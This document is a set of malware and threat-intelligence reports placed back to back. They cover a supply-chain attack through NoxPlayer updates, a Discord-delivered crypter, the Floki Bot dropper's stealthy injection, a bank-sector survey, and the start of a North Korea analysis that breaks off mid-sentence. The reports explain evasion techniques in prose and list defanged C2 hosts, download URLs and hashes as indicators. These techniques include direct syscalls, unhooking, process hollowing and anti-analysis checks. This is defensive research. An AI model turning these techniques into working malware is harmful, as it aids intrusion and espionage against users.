# Operation NightScout: Supply-Chain Attack Targets Online Gaming in Asia ESET researchers uncover a supply-chain attack used in a cyberespionage operation targeting online gaming communities in Asia. ## Update (February 3rd, 2021) Following the publication of our research, BigNox contacted us to say that their initial denial of the compromise was a misunderstanding on their part and that they have since taken steps to improve security for their users: - Use only HTTPS to deliver software updates to minimize the risks of domain hijacking and Man-in-the-Middle (MitM) attacks. - Implement file integrity verification using MD5 hashing and file signature checks. - Adopt additional measures, notably encryption of sensitive data, to avoid exposing users’ personal information. BigNox also stated that they have pushed the latest files to the update server for NoxPlayer, and that, upon startup, NoxPlayer will now run a check of the application files previously installed on the users’ machines. ESET assumes no responsibility for the accuracy of the information provided by BigNox. During 2020, ESET research reported various supply-chain attacks, such as the case of WIZVERA VeraPort, used by government and banking websites in South Korea, Operation StealthyTrident compromising the Able Desktop chat software used by several Mongolian government agencies, and Operation SignSight, compromising the distribution of signing software distributed by the Vietnamese government. In January 2021, we discovered a new supply-chain attack compromising the update mechanism of NoxPlayer, an Android emulator for PCs and Macs, and part of BigNox’s product range with over 150 million users worldwide. This software is generally used by gamers to play mobile games from their PCs, making this incident somewhat unusual. Three different malware families were spotted being distributed from tailored malicious updates to selected victims, with no sign of leveraging any financial gain, but rather surveillance-related capabilities. We spotted similarities in loaders we have been monitoring in the past with some of the ones used in this operation, such as instances we discovered in a Myanmar presidential office website supply-chain compromise in 2018, and in early 2020 in an intrusion into a Hong Kong university. ## About BigNox BigNox is a company based in Hong Kong, which provides various products, primarily an Android emulator for PCs and Macs called NoxPlayer. The company’s official website claims that it has over 150 million users in more than 150 countries speaking 20 different languages. However, it’s important to note that the BigNox follower base is predominantly in Asian countries. BigNox also wrote an extensive blog post in 2019 on the use of VPNs in conjunction with NoxPlayer, showing the company’s concern for their users’ privacy. We have contacted BigNox about the intrusion, and they denied being affected. We have also offered our support to help them past the disclosure in case they decide to conduct an internal investigation. ## Am I Compromised? **Who is affected:** NoxPlayer users. **How to determine if I received a malicious update or not:** Check if any ongoing process has an active network connection with known active C&C servers, or see if any of the malware based on the file names we provided in the report is installed in: - `C:\ProgramData\Sandboxie\SbieIni.dat` - `C:\ProgramData\Sandboxie\SbieDll.dll` - `C:\ProgramData\LoGiTech\LBTServ.dll` - `C:\Program Files\Internet Explorer\ieproxysocket64.dll` - `C:\Program Files\Internet Explorer\ieproxysocket.dll` - A file named `%LOCALAPPDATA%\Nox\update\UpdatePackageSilence.exe` not digitally signed by BigNox. **How to stay safe:** - In case of intrusion – standard reinstall from clean media. - For non-compromised users: Do not download any updates until BigNox notifies that it has mitigated the threat. ## Timeline Based on ESET telemetry, we saw the first indicators of compromise in September 2020, and activity continued until we uncovered explicitly malicious activity on January 25th, 2021, at which point we reported the incident to BigNox. ## Victimology In comparison to the overall number of active NoxPlayer users, there is a very small number of victims. According to ESET telemetry, more than 100,000 of our users have NoxPlayer installed on their machines. Among them, only 5 users received a malicious update, showing that Operation NightScout is a highly targeted operation. The victims are based in Taiwan, Hong Kong, and Sri Lanka. We were unsuccessful in finding correlations that would suggest any relationships among victims. However, based on the compromised software in question and the delivered malware exhibiting surveillance capabilities, we believe this may indicate the intent of collecting intelligence on targets somehow involved in the gaming community. It is important to highlight that, in contrast with similar previous operations such as the Winnti Group activity targeting the gaming industry in 2019, we haven’t found indicators that would suggest indiscriminate proliferation of malicious updates among a large number of NoxPlayer users, reinforcing our belief that this is a highly targeted operation. ## Update Mechanism In order to understand the dynamics of this supply-chain attack, it’s important to know what vector was used to deliver malware to NoxPlayer users. This vector was NoxPlayer’s update mechanism. On launch, if NoxPlayer detects a newer version of the software, it will prompt the user with a message box to offer the option to install it. This is done by querying the update server via the BigNox HTTP API (api.bignox.com) in order to retrieve specific update information. The response to this query contains update-specific information such as the update binary URL, its size, MD5 hash, and other additional related information. Upon pressing the “Update now” button, the main NoxPlayer binary application Nox.exe will supply the update parameters received to another binary in its toolbox NoxPack.exe, which is in charge of downloading the update itself. After this is done, the progress bar in the message box will reflect the state of the download, and when completed, the update has been performed. ## Supply-Chain Compromise Indicators We have sufficient evidence to state that the BigNox infrastructure (res06.bignox.com) was compromised to host malware, and also to suggest that their HTTP API infrastructure (api.bignox.com) could have been compromised. In some cases, additional payloads were downloaded by the BigNox updater from attacker-controlled servers. This suggests that the URL field, provided in the reply from the BigNox API, was tampered with by the attackers. An overview of what’s shown in the sequence diagram is the following: 1. On launch, the primary NoxPlayer executable Nox.exe sends a request via the API to query update information. 2. The BigNox API server responds to the client request with specific update information, including the URL to download the update from BigNox legitimate infrastructure. 3. Nox.exe provides the appropriate parameters to NoxPlayer.exe to download the update. 4. The legitimate update stored in BigNox infrastructure could have been replaced with malware, or it may be a new filename/URL not used by legitimate updates. 5. Malware is installed on the victim’s machine. Contrary to legitimate BigNox updates, the malicious files are not digitally signed, strongly suggesting that the BigNox build system was not compromised, but just its systems that distribute updates. 6. Some reconnaissance of the victim is performed and information sent to the malware operators. 7. The perpetrators tailor malicious updates to specific victims of interest based on some unknown filtering scheme. 8. Nox.exe will perform sporadic update requests. 9. The BigNox API server responds to the client with update information, which states that the update is stored in the attacker-controlled infrastructure. 10. Further malware gets delivered to selected victims. With this information, we can highlight several things: - Legitimate BigNox infrastructure was delivering malware for specific updates. We observed that these malicious updates were only taking place in September 2020. - Furthermore, we observed that for specific victims, malicious updates were downloaded from attacker-controlled infrastructure subsequently and throughout the end of 2020 and early 2021. - We are highly confident that these additional updates were performed by Nox.exe supplying specific parameters to NoxPack.exe, suggesting that the BigNox API mechanism may have also been compromised to deliver tailored malicious updates. - It could also suggest the possibility that victims were subjected to a MitM attack, although we believe this hypothesis is unlikely since the victims we discovered are in different countries, and attackers already had a foothold on the BigNox infrastructure. - Furthermore, we were able to reproduce the download of the malware samples hosted on res06.bignox.com from a test machine and using HTTPS. This discards the possibility that a MitM attack was used to tamper with the update binary. It is also important to mention that malicious updates downloaded from the attacker-controlled infrastructure mimicked the path of legitimate updates. These indicators suggest that attackers were trying to avoid detection so that they could remain under the radar and achieve long-term persistence. ## Malware A total of three different malicious update variants were observed, each of which dropped different malware. ### Malicious Update Variant 1 This variant is one of the preliminary updates pointing to compromised BigNox infrastructure. Our analysis is based on the sample with SHA-1 CA4276033A7CBDCCDE26105DEC911B215A1CE5CF. The malware delivered does not seem to have been documented before. It is not extremely complex, but it has enough capabilities to monitor its victims. The initial RAR SFX archive drops two DLLs into `C:\Program Files\Internet Explorer\` and runs one of them, depending on architecture, via rundll32.exe. The names of these DLLs are: - `ieproxysocket64.dll` - `ieproxysocket.dll` It also drops a text file named `KB911911.LOG` to disk, into which the original name of the SFX installer will be written. The DLL attempts to open and read this log file, and if not found will stop execution, therefore implementing an execution guardrail. The DLL will then check whether it has been loaded by any of the following processes; if it has, it will stop its own execution: - `smss.exe` - `winlogon.exe` - `csrss.exe` - `wininit.exe` - `services.exe` - `explorer.exe` The IP address of the machine will be checked to verify that it is neither 127.0.0.1 nor 0.0.0.0; if it is, it will be rechecked in an infinite loop until it changes. Otherwise, it will proceed to extract the UUID of the current machine via a WMI object query. This returned UUID is hashed using MD5 to serialize the current victim. Account name information will also be retrieved and saved. An encrypted configuration will be retrieved from the DLL’s resource. This configuration is encrypted using a two-byte XOR with 0x5000. The encrypted configuration is partially visible given the weakness of the key used. The format of this configuration is the following (roughly): | Offset | Size | Comment | |--------|------|---------| | 0x00 | 0x08 | Fake JPG header magic | | 0x08 | 0x12C | Buffer holding tokenized C&C information | | 0x134 | 0x14 | Buffer holding port for C&C communication | | 0x148 | 0x14 | Sleep time | | 0x15C | 0x14 | Operate flag; don’t operate with network monitoring tools deployed or if this flag is set | | 0x170 | 0x14 | N/A | | 0x184 | 0x14 | DNS flag; append a token at the end of a hostname buffer with either |UDP or |DNS, depending on the value of this field | | 0x198 | 0x38 | Variable holding offset start of decoded configuration buffer | After the configuration has been parsed, the backdoor will check several times for network monitoring processes before transferring execution to the C&C loop. Operation stops if the Operate flag is set or if either of the following processes is running: - `netman.exe` - `wireshark.exe` The backdoor can use either a raw IP address or a domain name to communicate with the C&C server. After successful connection to the C&C, the malware will be able to perform the following commands: | Command ID | Specification | |------------|---------------| | getfilelist-delete | Delete specified files from the disk | | getfilelist-run | Run a command via the WinExec API | | getfilelist-upload | Upload a file via ScreenRDP.dll::ConnectRDServer | | getfilelist-downfile1 | Download a specific file | | getfilelist-downfile2 | Download a specific directory | | getfilelist-downfile3 | Same as getfilelist-downfile2 | | <default> | \\tsclient drive redirection of certain directories (starting with A: for range(0x1A)) | ### Malicious Update Variant 2 This malware variant was also spotted being downloaded from legitimate BigNox infrastructure. Our analysis is based on the sample with SHA-1 E45A5D9B03CFBE7EB2E90181756FDF0DD690C00C. It contains several files comprising what is known as a trident bundle, in which a signed executable is used to load a malicious DLL, which will decrypt and load a shellcode, implementing a reflective loader for the final payload. The theme for this trident bundle was to disguise the malware as Sandboxie components. The names of the bundled components are: | Filename | Description | |----------|-------------| | `C:\ProgramData\Sandboxie\SandboxieBITS.exe` | Signed Sandboxie COM Services (BITS) | | `C:\ProgramData\Sandboxie\SbieDll.dll` | Malicious hijacked DLL | | `C:\ProgramData\Sandboxie\SbieIni.dat` | Malicious encrypted payload; decrypts a reflectively loaded instance of Gh0st RAT | | `C:\Users\Administrator\AppData\Local\Temp\delself.bat` | Script to self-delete the initial executable | | `C:\Windows\System32\wmkawe_3636071.data` | Text file containing the sentence "Stupid Japanese" | We have encountered other instances of this same text file, dropped by a very similar loader in a supply-chain compromise involving the Myanmar presidential office website in 2018, and in an intrusion into a Hong Kong university in 2020. The deployed final payload was a variant of Gh0st RAT with keylogger capabilities. ### Malicious Update Variant 3 This update variant was only spotted in activity subsequent to initial malicious updates, downloaded from attacker-controlled infrastructure. Our analysis is based on the sample with SHA-1 AA3D31A1A6FE6888E4B455DADDA4755A6D42BEEB. Similarly, as with the previous variant, this malicious update comes bundled in an MFC file and extracts two components: a benign signed file and a dependency of it. | Filename | Description | |----------|-------------| | `C:\ProgramData\LoGiTech\LoGitech.exe` | Signed Logitech binary | | `C:\ProgramData\LoGiTech\LBTServ.dll` | Malicious DLL decrypts and reflectively loads an instance of PoisonIvy | On the most recently discovered victims, the initial downloaded binary was written in Delphi, while for previous victims the same attacker-controlled URL dropped a binary written in C++. These binaries are the initial preliminary loaders. Although the loaders were written in different programming languages, both versions deployed the same final payload, that being an instance of the PoisonIvy RAT. ## Conclusion We have detected various supply-chain attacks in the last year, such as Operation SignSight or the compromise of Able Desktop among others. However, the supply-chain compromise involved in Operation NightScout is particularly interesting due to the targeted vertical, as we rarely encounter many cyberespionage operations targeting online gamers. Supply-chain attacks will continue to be a common compromise vector leveraged by cyber-espionage groups, and its complexity may impact the discovery and mitigation of these types of incidents. For any inquiries, or to make sample submissions related to the subject, contact us at: [email protected]. ## Acknowledgement The author would like to give special credit to Matthieu Faou for his support and feedback during the investigation. ## Indicators of Compromise (IoCs) **Files** | SHA-1 | ESET Detection Name | Description | |-------|---------------------|-------------| | CA4276033A7CBDCCDE26105DEC911B215A1CE5CF | Win32/Agent.UOJ | Malicious Update variant 1 | | E45A5D9B03CFBE7EB2E90181756FDF0DD690C00C | Win32/GenKryptik.ENAT | Malicious Update variant 2 | | AA3D31A1A6FE6888E4B455DADDA4755A6D42BEEB | Win32/Kryptik.HHBQ | Malicious Update variant 3 | | 5732126743640525680C1F9460E52D361ACF6BB0 | Win32/Delf.UOD | Malicious Update variant 3 | **C&C Servers** - 210.209.72[.]180 - 103.255.177[.]138 - 185.239.226[.]172 - 45.158.32[.]65 - cdn.cloudistcdn[.]com - q.cloudistcdn[.]com - update.boshiamys[.]com **Malicious Update URLs** - http://cdn.cloudfronter[.]com/player/upgrade/ext/20201030/1/35e3797508c555d5f5e19f721cf94700.exe - http://cdn.cloudfronter[.]com/player/upgrade/ext/20201101/1/bf571cb46afc144cab53bf940da88fe2.exe - http://cdn.cloudfronter[.]com/player/upgrade/ext/20201123/1/2ca0a5f57ada25657552b384cf33c5ec.exe - http://cdn.cloudfronter[.]com/player/upgrade/ext/20201225/7c21bb4e5c767da80ab1271d84cc026d.exe - http://cdn.cloudfronter[.]com/player/upgrade/ext/20210119/842497c20072fc9b92f2b18e1d690103.exe - https://cdn.cloudfronte[.]com/player/upgrade/ext/20201020/1/c697ad8c21ce7aca0a98e6bbd1b81dff.exe - http://cdn.cloudfronter[.]com/player/upgrade/ext/20201030/1/35e3797508c555d5f5e19f721cf94700.exe - http://res06.bignox[.]com/player/upgrade/202009/6c99c19d6da741af943a35016bb05b35.exe - http://res06.bignox[.]com/player/upgrade/202009/42af40f99512443cbee03d090658da64.exe **MITRE ATT&CK Techniques** | Tactic | ID | Name | Description | |--------|----|------|-------------| | Initial Access | T1195.002 | Supply Chain Compromise | Malware gets delivered via NoxPlayer updates. | | Execution | T1053.005 | Scheduled Task/Job: Scheduled Task | Malicious update variant 3 instances will be executed via Scheduled task. | | Execution | T1569.002 | System Services: Service Execution | Malicious update variant 2 instances will be executed via service execution. | | Persistence | T1053.005 | Scheduled Task/Job: Scheduled Task | Malicious update variant 2 instances will create a scheduled task to establish persistence. | | Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | Malicious update variant 2 and 3 will be contained in "trident" bundles for evasion purposes. | | T1574.002 | Hijack Execution Flow: DLL Side-Loading | Malicious updates shipped as "trident" bundles will perform DLL side loading. | | Collection | T1056.001 | Input Capture: Keylogging | Some of the final payloads such as PoisonIvy and Gh0st RAT have keylogging capabilities. | | Command and Control | T1090.001 | Proxy: Internal Proxy | The PoisonIvy final payload variant has capabilities to authenticate with proxies. | | T1095 | Non-Application Layer Protocol | All malicious update instances communicate over raw TCP or UDP. | | T1573 | Encrypted Channel | Both PoisonIvy and Gh0st RAT use encrypted TCP communication to avoid detection. | | Exfiltration | T1041 | Exfiltration Over C2 Channel | Exfiltration in all malicious updates instances is done over a Command and Control channel. |
# New SYK Crypter Distributed Via Discord With 50% more users last year than in 2020, the number of people using the community chat platform Discord is growing at a blistering pace. This has led cybercriminals to refine and expand malicious attack use cases for the platform. In this threat research report, Morphisec reveals how threat actors are using Discord as part of an increasingly popular attack chain with a new SYK crypter designed to outwit signature and behavior-based security controls. Morphisec’s Threat Labs team is on the cutting edge of threat research in this area. Our researchers previously dissected other Discord-related threats like Babadeda and NFT-001. We can report that as Discord has expanded from a gaming messaging app to broader use, it’s being used to distribute a crypter we named SYK. The attack chain preceding the SYK crypter deployment demonstrates a new evolution of how threat actors abuse Discord's CDN (content delivery network). As a conduit for new, highly innovative crypters, Discord plays an important role in a campaign that starts with targeted phishing emails directed at organizations in various sectors. The attack chain we saw comprises two main components: a .NET loader (which we refer to as DNetLoader) and a .NET crypter (SYK Crypter). This crypter delivers many malware families, such as AsyncRAT, njRAT, QuasarRAT, WarzoneRAT, NanoCore RAT, and RedLine Stealer, putting organizations in every sector and industry at risk. ## Initial Infection To lure new victims, attackers disguise the malware as a purchase order using file names such as Purchase Order.exe, New_Order_*.exe, AMAZON_ORDER*PDF.ex, etc. If this deception works, the victim opens and executes the attachment and the infection begins. ## Technical Analysis Before diving into the analysis, let’s look at the execution chain: ### Malware execution flow This execution flow consists of two stages and a final payload. The first stage is the downloader. It connects to a hard coded Discord CDN endpoint and downloads encrypted data. The data, once decrypted, is the second stage—the crypter. This second stage loads into the memory and is responsible for decrypting the final payload, which is stored as a PE resource. It includes antivirus evasion, persistence setup, and injection of the final payload to a newly initiated process. ### Discord CDN as Malware Distributor If you’re unfamiliar with the Discord CDN, it enables Discord users to create and contribute to topic-based text channels. There, users share photos, videos, voice messages, and executable files, all of which are stored on Discord CDN servers—including malware masquerading as legitimate files. The URL format for a specific file is as follows: `hxxps://cdn.discordapp[.]com/attachments/{ChannelID}/{AttachmentID}/{filename}` In this context, the DNetLoader is identified by the filename, a three-digit number. The first stage is pretty straightforward. The malware downloads the next stage from Discord CDN where the file name is hardcoded and used as the decryption key. The decryption algorithm is just a subtraction of the file name from each byte in the downloaded data. Once decoded, the malware loads it into memory and creates an instance of the first exported type. ### DNetLoader In the Wild At the time of this post’s writing, we observed the following malware distribution initiated by the DNetLoader. Note that the SYK crypter is only one variant; additional crypters have been delivered by the same loader. Besides the RedLine infostealer, all malware families are RATs (remote access trojans), with Async RAT being the most common. We also extracted some of the C2 servers (this list is not exhaustive): | Payload | C2 | |-----------------------|-----------------------------------------| | Async RAT | joseedward5001[.]ddns[.]net:1515 | | | bendito2714[.]duckdns[.]org:7090 | | | sgrmbroker[.]com:4404 | | | dedicatedlambo9[.]ddns[.]net:1515 | | | glengaidos2881[.]ddns[.]net:1515 | | | polarjwns[.]xyz:8808 | | | enero2022[.]con-ip[.]com:3028 | | NanoCore RAT | windapts[.]ddns[.]net:1608 | | njRAT | diosamor27[.]duckdns[.]org:8899 | | | nipuelputas[.]myftp[.]org:1788 | | Quasar RAT | gu3rr4[.]duckdns[.]org:5965 | | RedLine Stealer | lunovim957[.]duckdns[.]org:42543 | | | crossred9188[.]duckdns[.]org:29580 | | | asheesh[.]duckdns[.]org:5519 | | | hustlegang[.]duckdns[.]org:34261 | | WarZone RAT | dreams2reality[.]duckdns[.]org:2612 | | | 185.19.85[.]163:9961 | | | 185.140.53[.]174:2404 | In the next section, we explain how the next stage, the SYK crypter, decrypts its component, how to extract its configuration, and the AV evasion and persistence techniques in place. ## The SYK Crypter Before diving deeper into the .NET crypter, note that we found that the same crypter was delivered by loaders other than the DNetLoader. However, they all had a resource named SYKSBIKO in common—the encrypted payload. For this reason, we dubbed it the SYK Crypter. As with other crypters, this crypter has a payload decryption method, control flow manipulation, strings and constant obfuscation, AV detection, persistence, and anti-debugging features. ### Configuration Extraction / Strings Obfuscation The SYK crypter holds its configuration inside an obfuscated string represented as a byte array. The crypter starts with a string de-obfuscation technique. Each string can be accessed and used by a predefined function which hardcodes its length and offset in a large byte array. The de-obfuscation algorithm is just XOR with 170 and the current index. Among all setting strings inside the configuration, the important ones are the final payload decryption key, list of AV solutions services and process names, and a small .NET delegator (base64 encoded). ### Security Solutions Detection The crypter checks for the existence of a set of security solutions using the following two methods: by calling GetProcessByName and by checking if a path exists. These actions happen many times throughout the execution, each time with different solution names and/or file paths. Note that if a security vendor is identified, the malware will abort the current functionality. ### Persistence On its first run, the crypter copies itself to the Startup folder by executing a small JavaScript file. This JavaScript file is executed from the %Temp% directory. At this point, the malware runs from the Startup folder again, so the current instance is killed. The final payload injection starts if the malware execution path is the Startup folder. ## Final Payload Injection Before moving forward, we need to understand where the final payload is located and how it’s decrypted. We can divide this process into four steps: 1. Read the decryption key from the config—the first element. 2. Read resource bytes from SYKSBIKO.Properties.Resources.a. 3. Use the key to decrypt the resource’s bytes. 4. Deflate the result. The final payload decryption algorithm is a bit more complicated than the previous algorithms. The decryption starts from initializing a new 256 unsigned integer array with its index values. Next, it uses the extracted decryption key to alter the values inside the initialized array. Once the alteration is completed, the array is ready to be used for payload decryption. The end result is a deflated compressed representation of the final payload. So all that’s left to do is decompress the result and get the final payload. ### Process Hollowing Injection The SYK crypter uses Process Hollowing as its preferred injection method. It creates a new process—RegAsm.exe or the named process according to the configuration—and injects the decrypted final payload into it. It's interesting how the WinAPI functions get loaded into memory. The SYK malware uses the .NET Delegator in its configuration to create a delegate for each function. ## Defending Against the SYK Crypter This attack chain delivers a crypter that is persistent, features multiple layers of obfuscation, and uses polymorphism to maintain its ability to avoid detection by security solutions, demonstrating a further escalation of the cybersecurity threat level. By combining a freely available messaging app with a powerful crypter, threat actors have made it easier to conduct attacks that signature-based security solutions cannot stop. In response, organizations urgently need to acknowledge an important fact. You can no longer depend on malware having recognizable signatures or behaviors. To stop this continued threat evolution, it's vital to prevent threats by making attack surfaces inherently dynamic and hostile to intruders like the SYK crypter by implementing a zero trust architecture (ZTA). Enabling a zero-trust environment for endpoints, including Microsoft and Linux servers, Morphisec’s Moving Target Defense (MTD) technology stops polymorphic threats like the SYK crypter. Instead of waiting to react to attacks that have already happened, MTD prevents advanced threats from getting a foothold in the first place. MTD morphs application memory, shifting and shrinking the attack surface from threats like SYK, preventing payload deployment.
# Floki Bot and the Stealthy Dropper Floki Bot, described recently by Dr. Peter Stephenson from SC Magazine, is yet another bot based on the leaked Zeus code. However, the author came up with various custom modifications that make it more interesting. According to the advertisements announced on the black market, this bot is capable of making very stealthy injections, evading many mechanisms of detection. We decided to take a look at what tricks are behind it. It turned out that although the injection method that the dropper uses is not novel by itself, it comes with a few interesting twists that are not so commonly used in malware. ## Analyzed Sample - **5649e7a200df2fb85ad1fb5a723bef22** – dropper (main focus of this analysis) - **e54d28a24c976348c438f45281d68c54** – core module (bot 32bit) - **d4c5384da41fd391d16eff60abc21405** – core module (bot 64bit) **NOTE:** The core modules depend on data prepared by the dropper and they crash when run independently. ## The Floki Dropper The Floki dropper looks simple and has been found in the wild without any outer protection layer. It has three resources with descriptive names – bot32, bot64, and key. When we try to observe its activity, we can see it making an injection into explorer. Indeed, when we attach the debugger to the newly created explorer process, we can see some alien code implanted – it is written in three additional memory areas with full permissions (RWE). However, when we trace the API calls, we cannot find any reference to a function that will write the code into the explorer process. **Fragment of the trace:** ``` 28a8;called module: C:\Windows\system32\kernel32.dll:CreateProcessW 210f;called module: C:\Windows\system32\kernel32.dll:IsWow64Process 1d94;called module: C:\Windows\SYSTEM32\ntdll.dll:ZwClose 210f;called module: C:\Windows\system32\kernel32.dll:IsWow64Process 1d94;called module: C:\Windows\SYSTEM32\ntdll.dll:ZwClose 292c;called module: C:\Windows\system32\kernel32.dll:DuplicateHandle 210f;called module: C:\Windows\system32\kernel32.dll:IsWow64Process 1d94;called module: C:\Windows\SYSTEM32\ntdll.dll:ZwClose 2a1e;called module: C:\Windows\system32\kernel32.dll:GetThreadContext 2a37;called module: C:\Windows\system32\kernel32.dll:SetThreadContext 210f;called module: C:\Windows\system32\kernel32.dll:IsWow64Process 2aa1;called module: C:\Windows\system32\kernel32.dll:WaitForSingleObject 1818;called module: C:\Windows\system32\kernel32.dll:IsBadReadPtr 182a;called module: C:\Windows\SYSTEM32\ntdll.dll:RtlFreeHeap 2aad;called module: C:\Windows\system32\kernel32.dll:ExitProcess ``` We can see that a new process is created, and its context is being changed – that suggests manipulation – but where is the write? In order to find an answer to this question, we will take a deep dive inside the code. ## Inside At the beginning, the dropper dynamically loads some of the required imports. The used approach depicts that the author was trying not to leave any artifacts that could allow for easy detection of what modules and functions are going to be used. Instead of loading DLLs by their names, it picks them by enumerating all the DLLs in the system32 directory. For the sake of obfuscation, it doesn’t use string comparison. Instead, it calculates a checksum of each found name. The checksum is created by CRC32 from the name XORed with some hardcoded value, that is constant for a particular sample (in the described sample it is 0x58E5). The resulting checksums are compared with the expected value until the appropriate module is found and loaded. In a similar way, the export table of a particular module is enumerated and the required functions are resolved. After the initial imports load, exactly the same method is used to search NTDLL.DLL. As we know, NTDLL.DLL provides an interface to execute native system calls. Every version of Windows may use a different number of a syscall in order to do the same thing. That’s why it is recommended to use them via wrappers, which we can find among functions exported by NTDLL. The dropper loads NTDLL into memory and extracts syscalls from selected functions: - NtCreateSection - NtMapViewOfSection - ZwAllocateVirtualMemory - ZwWriteVirtualMemory - NtProtectVirtualMemory - NtResumeThread - ZwOpenProcess - NtDuplicateObject - NtUnmapViewOfSection It checks the beginning of each function’s code by comparing it with 0xB8, which is a bytecode for moving a value into EAX. If the check passes, the syscall value that was moved into EAX is extracted and stored in a buffer. Then, when the dropper wants to call some of the functions, it uses those extracted values. The number of the syscall is fetched from the array where it was saved and copied to EAX. Parameters of the function are pushed on the stack. The pointer to the parameters is loaded into EDX – and the syscall is triggered with the help of an interrupt – INT 0x2E. That’s how the functions NtCreateSection, NtMapViewOfSection, and NtResumeThread are being called. Those were the missing elements of the API calls’ trace, so it explains a lot! Once the memory is prepared, the shellcode is copied there. After the preparations, those sections are mapped into the context of the explorer process, which has been created as suspended. Using SetThreadContext, its Entry Point is being redirected to the injected memory page. When the explorer process is resumed, the new code executes and proceeds with unpacking the malicious core. At this point of the injection, its malicious core is not yet revealed – its decryption process takes place inside the shellcode implanted in the explorer. This is also an additional countermeasure that this dropper takes against detection tools. Another trick that this bot uses is a defense against inline hooking – a method utilized by various monitoring tools. All the mapped DLLs are compared with their raw versions, read from the disk by the dropper. If any anomaly is detected, the dropper overwrites the mapped DLL with the code copied from its raw version. As a result, the functions are getting “unhooked” and the monitoring programs lose the trace on the executed calls. ## Conclusion The illustrated concept is not novel; however, it was utilized in an interesting way. Many programs detect malicious activity by monitoring API calls, which are most often misused by malware. Also, applications used for automated analysis hook API functions to monitor where and how they are being used. The presented method allows bypassing them – at the same time being relatively easy to implement. In this case, the author didn’t use the full potential of the technique, because he could have implemented all the injection-related functions via direct syscalls – instead, he chose to use only a subset related to writing into a remote memory area. Some other syscalls have been loaded but not used – it may suggest that the product is still under development. Creation of the new process and changing its context could still be detected via API monitoring – and it was enough to raise alerts and make the dropper less stealthy than it was intended.
# Modern Bank Heists 3.0 ## Executive Summary This marks the third edition of the Modern Bank Heists report, which takes an annual pulse of some of the financial industry’s top CISOs and security leaders. Thank you to the 25 security leaders who participated in this year’s survey. This survey offers more than just data. We use the information gleaned from this report to educate the market on how modern cybercriminals are evolving; what tactics, techniques, and procedures (TTPs) are emerging; and how defenders can keep pace. Perhaps most importantly, we use the information to deliver a stronger cybersecurity platform to the market. In this year’s survey, CISOs revealed what they’re seeing with attack prevalence and evolution. Our questions tackled topics including lateral movement, counter-incident response, island hopping, and integrity attacks. The financial sector is not a new target for criminals. Of course, the bank heist has evolved significantly—from stickups to cyberspace—but the fundamental motivation behind the attacks has remained: money. The authors would like to thank VMware Carbon Black Team Cerberus for their analytics research for this report. ## Key Data - 80% of surveyed financial institutions reported an increase in cyberattacks over the past 12 months, a 13 percent increase over 2019. - 27% of all cyberattacks in 2020 targeted either the healthcare sector or the financial sector, according to VMware Carbon Black data. - From February to April 2020, amid the COVID-19 surge, cyberattacks against the financial sector increased by 238 percent, according to VMware Carbon Black data. - 82% of surveyed financial institutions said cybercriminals have become more sophisticated, leveraging highly targeted social engineering attacks and advanced TTPs for hiding malicious activity. - 64% of surveyed financial institutions reported increased attempts of wire fraud transfer, a 17 percent increase over 2019. ## Attack Prevalence and Sophistication Each year we’ve produced this survey, we’ve been interested to see the trend with respect to attack frequency and sophistication. For this year’s report, both numbers have increased over 2019. Cybercriminals are taking advantage of COVID-19, and they are doing so in tandem with the news cycle. Kryptik and Emotet continue to be among the top attacks seen across multiple sectors, including finance. These malware types are often used in longer, more complex campaigns where the end goal is to leverage native operating system tools to remain invisible or gain a foothold on one system (sometimes a supply-chain partner) to island hop to a larger, more lucrative target. ## Attack Behaviors Over the past two years, we’ve made a concerted effort to move beyond just looking at individual pieces of malware and focus more deeply on attacker behavior. To that end, the MITRE ATT&CK framework has set an excellent standard and closely aligns with the VMware Carbon Black belief that detecting attacker behavior is exponentially more important than detecting malware alone. According to MITRE, “adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.” This is of particular importance in the financial sector as cybercriminals have dramatically increased their knowledge of the policies and procedures of financial institutions. ## A Rise in Virtual Invasions There have been some interesting evolutions since our 2019 report. Of note, 64 percent of surveyed financial institutions reported increased attempts of wire fraud transfer, a 17 percent increase over 2019. Wire fraud transfer attacks are often performed by exploiting business process gaps in the wire transfer verification process or through social engineering attacks targeting customer service representatives and consumers directly. Cybercriminals exhibit tremendous situational awareness regarding SWIFT messaging. This is compounded with their newfound understanding of the criticality of portfolio managers’ positions. ## Island Hopping 33 percent of surveyed financial institutions said they’ve encountered island hopping, an attack where supply chains and partners are commandeered to target the primary financial institution. There are four types of island hopping most commonly seen today: 1. **Network-based island hopping**: Attackers infiltrate one network and use it to hop onto an affiliate network. 2. **Watering-hole attacks**: Hackers target a website frequently visited by partners or customers of the organization they are trying to breach. 3. **Reverse business email compromise attacks**: A hacker takes over a victim’s email server and executes fileless malware attacks against members of the organization. 4. **Island hopping as a service**: An attacker leverages the footprint and distribution of commodity malware to mask a hidden agenda of selling system access to targeted machines on the dark web. ## Conclusion Cybercriminals are evolving in both attack sophistication and organization. The financial sector is the most secure industry in the world, but it is also being targeted by cybercriminals and nation-states. We must pay close attention to how we respond to these threat actors and what their ultimate goal is—hijacking your digital transformation efforts via island hopping. Cybersecurity is now a brand protection imperative. Trust and confidence in the safety and soundness of your institution will depend on it. This report should serve as a starting point for a discussion between the cybersecurity community and the defenders of the financial sector on how we might best collaborate and wage a counterinsurgency in cyberspace.
# North Korea Is Not Crazy By Insikt Group on June 15, 2017 Intent is critical to comprehending North Korean cyber activity. Understanding North Korean national objectives, state organizations, and military strategy are key to discussions about attributing North Korean cyber activity. Frequently, senior political leaders, cybersecurity professionals, and diplomats describe North Korean leaders or their respective actions as “crazy,” “erratic,” or “not rational.” This is not the case. When examined through the lens of North Korean military strategy, national goals, and security perceptions, cyber activities correspond to their larger approach. Recorded Future research reveals that North Korean cyber actors are not crazy or irrational; they just have a wider operational scope than most other intelligence services. This scope comprises a broad range of criminal and terrorist activity, including illegal drug manufacturing and selling, counterfeit currency production, bombings, assassination attempts, and more. The National Security Agency (NSA) has attributed the April WannaCry ransomware attacks to North Korea’s intelligence service, the Reconnaissance General Bureau (RGB). We assess that the use of ransomware to raise funds for the state would fall under both North Korea’s asymmetric military strategy and “self-financing” policy, and be within the broad operational remit of their intelligence services. ## Background The Democratic People’s Republic of Korea (DPRK or North Korea) is a hereditary, Asian monarchy with state, party, and military organizations dedicated to preserving the leadership of the Kim family. North Korea is organized around its communist party, the Korean Worker’s Party (KWP), and the military, the Korean People’s Army (KPA). The Reconnaissance General Bureau (RGB), also known as “Unit 586,” was formed in 2009 after a large restructure of several state, military, and party intelligence elements. Subordinate to the KPA, it has since emerged as not just 